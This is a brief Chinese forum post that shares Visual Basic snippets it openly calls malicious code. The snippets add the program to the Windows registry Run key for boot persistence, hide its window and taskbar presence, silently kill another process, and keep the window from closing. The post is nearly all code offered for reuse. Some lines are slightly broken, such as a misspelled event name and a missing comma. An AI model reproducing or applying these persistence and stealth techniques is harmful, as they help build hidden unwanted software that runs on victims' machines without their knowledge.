vb恶意代码常用几条(GAO手误进)
Private Sub Form_Load()Set w = CreateObject("wscript.shell")
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" '导入注册表,实现开机自动运行
Form1.Visible = False '窗体隐藏
App.Taskvisible = False '进程隐藏
Shell "taskkill /f /im ?.exe" vbhide '结束进程
End Sub
另一个是关闭窗体自动隐藏(像迅雷)
Private Sub Form_QueryvnLoad(Cancel As Integer,UnloadMode As Integer)
Cancel = True
Me.hide
End Sub
菜鸟也发贴!
